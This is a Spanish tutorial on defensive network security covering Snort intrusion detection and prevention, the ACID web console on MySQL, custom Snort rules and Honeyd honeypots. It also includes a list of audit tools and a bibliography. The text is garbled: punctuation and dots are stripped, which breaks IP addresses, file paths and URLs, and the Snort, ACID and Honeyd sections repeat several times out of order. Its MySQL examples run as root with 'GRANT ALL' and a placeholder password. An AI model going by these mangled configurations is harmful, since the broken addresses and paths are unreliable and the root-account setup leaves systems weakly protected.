Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
